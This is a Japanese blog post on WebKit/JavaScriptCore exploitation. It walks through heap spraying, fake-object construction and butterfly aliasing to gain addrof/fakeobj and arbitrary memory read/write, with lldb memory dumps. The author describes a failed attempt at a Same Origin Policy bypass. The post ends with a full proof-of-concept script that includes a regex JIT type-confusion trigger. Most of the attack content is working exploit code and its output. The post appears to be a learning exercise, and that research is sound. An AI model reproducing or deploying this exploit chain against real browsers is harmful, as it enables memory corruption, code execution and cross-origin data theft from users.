前回は Memory Corrupution まで行ったので、今回は任意のアドレスを書き換えるまで行う。
任意アドレスを行うにあたって、次のようなメモリレイアウトを用意する。
これは PoC を参考に自分の理解のためにお絵かきしたもの。
今見返すと自分でも読めないし、これでわかる人いないと思うが…
簡単に説明すると、まずは outer
というオブジェクトに hax
という fakeobj を作る。
hax
の butterfly は spray したオブジェクトの一つである victim
を指すようにする。
その後 victim[1]
や hax
をゴニョゴニョすることで boxed
と unboxed
という2つの object が同じ butterfly ポインタを指すようになるという話。
重要なのは型の違いで、 victim
は ArrayWithDouble
なのに、そのさきが ArrayWithContiguous
なので解釈がズレるという点。
まずは spray 部分からコードで見ていく。
var structure_spray = []
for (var i = 0; i < 1000; ++i) {
var ary = [13.37];
ary.prop = 13.37;
ary['p'+i] = 13.37;
structure_spray.push(ary);
}
var victim = structure_spray[510];
この状態のメモリレイアウトを確認する。
>>> describe(structure_spray)
Object: 0x108ab4340 with butterfly 0x10001fa070 (Structure 0x108af2ae0:[Array, {}, ArrayWithContiguous, Proto:0x108ac80a0]), StructureID: 99
>>> describe(victim)
Object: 0x108ab6330 with butterfly 0x10000ca128 (Structure 0x108a366f0:[Array, {prop:100, p510:101}, ArrayWithDouble, Proto:0x108ac80a0, Leaf]), StructureID: 805
# structure_spray
(lldb) x/6gx 0x108ab4340
0x108ab4340: 0x0108210900000063 0x00000010001fa070
0x108ab4350: 0x0108210700000127 0x00000010000e4058
0x108ab4360: 0x0108210700000128 0x00000010000e4088
# structure_spray の butterfly pointer の確認
# ここは全部 spray した配列の要素
(lldb) x/6gx 0x00000010001fa070
0x10001fa070: 0x0000000108ab4350 0x0000000108ab4360
0x10001fa080: 0x0000000108ab4370 0x0000000108ab4380
0x10001fa090: 0x0000000108ab4390 0x0000000108ab43a0
# victim
(lldb) x/6gx 0x108ab6330
0x108ab6330: 0x0108210700000325 0x00000010000ca128
0x108ab6340: 0x0108210700000326 0x00000010000ca158
0x108ab6350: 0x0108210700000327 0x00000010000ca188
# victim の butterfly pointer の確認
(lldb) x/6gx 0x00000010000ca128
0x10000ca128: 0x402abd70a3d70a3d 0x0000000000000000
0x10000ca138: 0x0000000000000000 0x402bbd70a3d70a3d
0x10000ca148: 0x402bbd70a3d70a3d 0x0000000100000001
# 0x20 減算するとプロパティを確認できる
(lldb) x/6gx 0x00000010000ca108
0x10000ca108: 0x0000000000000000 0x402bbd70a3d70a3d
0x10000ca118: 0x402bbd70a3d70a3d 0x0000000100000001
0x10000ca128: 0x402abd70a3d70a3d 0x0000000000000000
続いて fakeobj を作っていく。
まずは StructureID
を作る。
u32
や f64
はアドレスの計算を単純にするために使われているだけ。
>>> var convert = new ArrayBuffer(0x10);
undefined
>>> var u32 = new Uint32Array(convert);
undefined
>>> var f64 = new Float64Array(convert);
undefined
>>> u32[0] = 0x200;
512
>>> u32[1] = 0x01082007 - 0x10000; // ArrayWithDoubles の Flag
17244167
>>> var flags_double = f64[0];
undefined
>>> u32[1] = 0x01082009 - 0x10000; // ArrayWithContiguous のフラグ
17244169
>>> var flags_contiguous = f64[0];
undefined
outer
というオブジェクトを用意し、 cell_header
プロパティには ArrayWithContiguous
のフラグの値をセットする。
そして butterfly
には victim
をセットする。
その後、 addrof
と fakeobj
でアドレスとオブジェクトをそれぞれ取得する。
>>> var outer = {
cell_header: flags_contiguous,
butterfly: victim,
};
>>> f64[0] = addrof(outer)
2.193894279e-314
>>> u32[0] += 0x10
145524176
>>> var hax = fakeobj(f64[0]);
undefined
hax
は ArrayWithContiguous なので JSObject として扱われるが victim
は ArrayWithDouble である。
hax[0]
は victim
の cell_header
を指し、hax[1]
は victim
の butterfly pointer を指す。
>>> describe(hax)
Object: 0x108ac85d0 with butterfly 0x108ab6330 (Structure 0x108a4a3e0:[Array, {prop:100, p217:101}, ArrayWithDouble, Proto:0x108ac80a0, Leaf]), StructureID: 512
(lldb) x/6gx 0x108ac85d0
0x108ac85d0: 0x0108200900000200 0x0000000108ab6330
0x108ac85e0: 0x010217000000003a 0x0000000000000000
0x108ac85f0: 0x0000000108acc000 0x00000000badbeef0
(lldb) x/6gx 0x0000000108ab6330
0x108ab6330: 0x0108210700000325 0x00000010000ca128 # ここが hax[0] と hax[1]
0x108ab6340: 0x0108210700000326 0x00000010000ca158
0x108ab6350: 0x0108210700000327 0x00000010000ca188
>>> describe(victim)
Object: 0x108ab6330 with butterfly 0x10000ca128 (Structure 0x108a366f0:[Array, {prop:100, p510:101}, ArrayWithDouble, Proto:0x108ac80a0, Leaf]), StructureID: 805
(lldb) x/6gx 0x108ab6330
0x108ab6330: 0x0108210700000325 0x00000010000ca128 # ここが victim の StructureID と butterfly
0x108ab6340: 0x0108210700000326 0x00000010000ca158
0x108ab6350: 0x0108210700000327 0x00000010000ca188
そして box/unboxed という名前の Array を作る。
unboxed はメモリに double 値があることを示し、boxed は JSObject があることを示す。
また、unboxed は CopyOnWriteArrayWithDouble なので、ArrayWithDouble に変更しておく。
>>> var unboxed = [13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37]
undefined
>>> unboxed[0] = 1.1; # これで ArrayWithDouble になる
1.1
>>> describe(unboxed)
Object: 0x108a10380 with butterfly 0x10000dc078 (Structure 0x108af2a70:[Array, {}, ArrayWithDouble, Proto:0x108ac80a0]), StructureID: 98
>>> var boxed = [{}];
undefined
そして次のようにすると boxed と unboxed が同じ butterfly となる。
>>> hax[1] = unboxed // 1
1.1,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37
>>> var tmp = victim[1]; // 2
undefined
>>> hax[1] = boxed // 3
[object Object]
>>> victim[1] = tmp; // 4
3.3952377927e-313
ちょっとややこしいので、説明する。
まずは hax[1]
は victim
の butterfly pointer になっていることが分かっている。
-
hax[1] = unboxed
とするとvictim[1]
はunboxed
を指す。
-
tmp
はunboxed
の butterfly pointer となる。
-
hax[1] = boxed
で、victim[1]
はboxed
を指すようになる。
-
victim[1] = tmp
でvictim[1]
すなわちboxed
の butterfly にunboxed
の butterfly が代入され、unboxed と boxed は同じ object を指すようになる。
メモリを見るとたしかに butterfly pointer は同じところを指していて、型が異なっている。
>>> describe(boxed)
Object: 0x109210380 with butterfly 0x8000b0008 (Structure 0x1092f2ae0:[Array, {}, ArrayWithContiguous, Proto:0x1092c80a0]), StructureID: 99
>>> describe(unboxed)
Object: 0x109210370 with butterfly 0x8000b0008 (Structure 0x1092f2a70:[Array, {}, ArrayWithDouble, Proto:0x1092c80a0]), StructureID: 98
これによって boxed[0]
にオブジェクトを与えると unboxed[0]
は double の値でアドレスが返ってくるので実質 addrof
相当のことができる。
逆に unboxed[0]
に double 値でアドレスを与えると、その先のオブジェクトが返ってくるので実質 fakeobj
相当のことができる。
なので、既存の addrof
と fakeobj
は次のように置き換えることができる。
addrof = function(obj) {
boxed[0] = obj;
return unboxed[0];
}
fakeobj = function(addr) {
unboxed[0] = addr;
return boxed[0];
}
では試してみる。
>>> x = {}
[object Object]
>>> describe(x)
Object: 0x1089b0100 with butterfly 0x0 (Structure 0x1089f20d0:[Object, {}, NonArray, Proto:0x1089b4000]), StructureID: 76
>>> addrof(x)
2.1933270443e-314
In [10]: addr = 2.1933270443e-314
In [11]: hex(struct.unpack("Q", struct.pack("d", addr))[0])
Out[11]: '0x1089b0100'
>>> fakeobj(addrof(x))
[object Object]
>>> o.a = 1
1
>>> x.a
1
任意アドレスへの読み書き
victim
には .prop
というプロパティを用意してある。
hax[1]
を使って victim
の butterfly address は自由に変更できるようになっている。
例えば victim
の butterfly を適当なメモリに変更し、 .prop
にアクセスすると、 -0x10
した .prop
が存在するであろう領域にアクセスしようとする。
つまりアクセスしたいメモリのアドレスに + 0x10 したものを hax[1]
に書き込み、 victim.prop
にアクセスするとそのメモリの内容を読みだせることになる。
read = function(addr) {
f64[0] = addr
u32[0] += 0x10
hax[1] = f64[0]
return victim.prop
}
逆に書き込みは victim.prop
に書き込むだけ。
write = function(addr, value) {
f64[0] = addr
u32[0] += 0x10
hax[1] = f64[0]
victim.prop = value
}
ただし、 hax
は ArrayWithContiguous で作成されている。
var outer = {
cell_header: flags_contiguous,
butterfly: victim
}
そのため読み書きしたいアドレスを指定しても、JSValue として処理されてしまうため、 ArrayWithDouble
に変更する必要がある。
outer.cell_header = flags_double;
では任意のアドレスに読み書きをしてみる。
read(addrof(x))
で x
のメモリが読み出せることを確認する。
>>> x = {}
[object Object]
>>> describe(x)
Object: 0x108ab0100 with butterfly 0x0 (Structure 0x108af20d0:[Object, {}, NonArray, Proto:0x108ab4000]), StructureID: 76
>>> read(addrof(x))
7.082855106400185e-304
(lldb) x/8gx 0x108ab00c0
0x108ab00c0: 0x010016000000004c
// In [31]: addr = 7.082855106400185e-304
//
// In [32]: hex(struct.unpack("Q", struct.pack("d", addr))[0])
// Out[32]: '0xff16000000004c'
続いて書き込み。
>>> x = {}
[object Object]
>>> describe(x)
Object: 0x108ab0100 with butterfly 0x0 (Structure 0x108af20d0:[Object, {}, NonArray, Proto:0x108ab4000]), StructureID: 76
>>> u32[0] = 0x42424242
1111638594
>>> u32[1] = 0x41414141
1094795585
>>> v = f64[0]
2261634.5176470587
>>> write(addrof(x), v)
undefined
(lldb) x/2gx 0x108ab0100
0x108ab0100: 0x4142414142424242 0x0000000000000000
これで任意アドレスへの読み書きができるようになった。
Same Origin Policy のバイパス
WebKit では SecurityOrigin::canAccess
で Origin をまたいでアクセスできるか判定をしていて、 m_universalAccess
が True だと Origin またいでやり取りができる。
任意のアドレスを読み書きできる今、この変数を書き換えてしまえば SOP Bypass ができる… はずなのだが、以下の理由でできなかった。
1. Safari が起動しない
./Tools/run-safari --debug
で Safari が起動しない。
Starting SafariForWebKitDevelopment with DYLD_FRAMEWORK_PATH set to point to built WebKit in /Users/kohei.morita/go/src/github.com/WebKit/webkit/WebKitBuild/Debug.
dyld: Symbol not found: __ZN3WTF18asciiCaseFoldTableE
Referenced from: /System/Library/StagedFrameworks/Safari/SafariShared.framework/Versions/A/SafariShared
Expected in: /Users/path/to/webkit/WebKitBuild/Debug/JavaScriptCore.framework/Versions/A/JavaScriptCore
in /System/Library/StagedFrameworks/Safari/SafariShared.framework/Versions/A/SafariShared
動的リンクしているライブラリで Symbol が見つからないとのことだが、よくわからない。
run-safari
のスクリプト自体は DYLD_FRAMEWORK_PATH
をビルドした WebKit を指すように置き換えているだけなのだが…
2. XHR のオブジェクトがどこにあるのかわからない
XCode を一からインストールして試しても上記の Safari が起動しない問題は改善しなかったので、XCode でビルドして minibrowser というのを立ち上げて挑戦。
JavaScript の方で var xhr = new XMLHttpRequest()
して、そこから SecurityOrigin まで辿れるだろうと思っていたのだが、lldb で見えている WebCore::XMLHttpRequest
が xhr
のメモリ上のどこにあるのか分からずじまい。
PoC だと +0x18 の場所にあるはずなのだが…
PoC を試しても動かないし、環境が悪いという気がする。
土日丸々かけてやってたけど、完全に時間の無駄だったなぁ。
ちなみに XCode でデバッグして m_universalAccess
を直接書き換えると、Same Origin Policy をバイパスできることは確認できたので、これは正しいです。
誰かできた人教えてください…
他にも色々な Attack Primitive があるそうなので 最後にここまでの PoC です。
function addrof(val) {
for (var i = 0; i < 100; i++) {
var result = addrofInternal(val);
if (typeof result != "object" && result !== 13.37){
return result;
}
}
}
function addrofInternal(val) {
var array = [13.37];
var reg = /abc/y;
function getarray() {
return array;
}
var AddrGetter = function(array) {
for (var i = 2; i < array.length; i++) {
if (num % i === 0) {
return false;
}
}
array = getarray();
reg[Symbol.match](val === null);
return array[0];
}
for (var i = 0; i < 100000; ++i)
AddrGetter(array);
regexLastIndex = {};
regexLastIndex.toString = function() {
array[0] = val;
return "0";
};
reg.lastIndex = regexLastIndex;
return AddrGetter(array);
}
/* アドレスを double 値にしたものを与えると
* その先の object を返す
*
* @param {double} val
* @return {object}
*
*/
function fakeobj(val) {
var array = [13.37];
var reg = /acg/y;
var AddrSetter = function(array) {
reg[Symbol.match]();
array[0] = val;
}
for(var i=0; i<10000; ++i) {
AddrSetter(array);
}
regexLastIndex = {};
regexLastIndex.toString = function() {
array[0] = {};
return "0";
};
reg.lastIndex = regexLastIndex;
AddrSetter(array);
return array[0];
}
// object を大量に作成してメモリ上に spray し、
// 有効な StructedID を参照する確率を上げる
var structure_spray = []
for (var i = 0; i < 1000; ++i) {
var ary = [13.37];
ary.prop = 13.37;
ary['p'+i] = 13.37;
structure_spray.push(ary);
}
var victim = structure_spray[510];
var convert = new ArrayBuffer(0x10);
var u32 = new Uint32Array(convert);
var u8 = new Uint8Array(convert);
var f64 = new Float64Array(convert);
u32[0] = 0x200;
u32[1] = 0x01082007 - 0x10000; // ArrayWithDouble の flag
var flags_double = f64[0];
u32[1] = 0x01082009 - 0x10000; // ArrayWithContiguous の flag
var flags_contiguous = f64[0];
// CopyOnWriteArrayWithDouble
var unboxed = [13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37, 13.37];
// ArrayWithDouble にする
unboxed[0] = 4.2;
// ArrayWithContiguous なオブジェクトを作る
var boxed = [{}];
var outer = {
// このフィールドは hax object の JSCell と butterfly になる
header: flags_contiguous,
butterfly: victim,
};
f64[0] = addrof(outer);
u32[0] += 0x10;
// outer から +0x10 シフトして outer のコメントの内容で fake object を作る
var hax = fakeobj(f64[0]);
// victim の butterfly である hax[1] に代入することで
// 実質 victim[1] = unboxed になる
hax[1] = unboxed;
// victim[1] を参照することで unboxed の butterfly を取得できる
var tmp = victim[1];
// victim[1] が `boxed` を指すようになる
hax[1] = boxed;
// boxed が unboxed の butterfly を指すようになる
// つまり、同じ butterfly を指すようになる
victim[1] = tmp;
outer.header = flags_double;
addrof = function(obj) {
boxed[0] = obj;
return unboxed[0];
}
fakeobj = function(addr) {
unboxed[0] = addr;
return boxed[0];
}
read = function (addr) {
f64[0] = addr
u32[0] += 0x10
hax[1] = f64[0]
return victim.prop
}
write = function (addr, value) {
f64[0] = addr
u32[0] += 0x10
hax[1] = f64[0]
victim.prop = value
}
// x = {}
// alert(addrof(x));
// alert(read(addrof(x)));
// u32[0] = 0x42424242;
// u32[1] = 0x41414141;
// v = f64[0];
// write(addrof(x), v);
var xhr = new XMLHttpRequest();
// alert("ここでデバッグ入れて m_universalAccess を true にする")
xhr.open("GET", "https://example.com", false);
xhr.onload = function (e) {
if (xhr.readyState === 4) {
if (xhr.status === 200) {
alert(xhr.responseText);
} else {
alert(xhr.statusText);
}
}
};
xhr.onerror = function (e) {
alert(xhr.statusText);
};
xhr.send(null);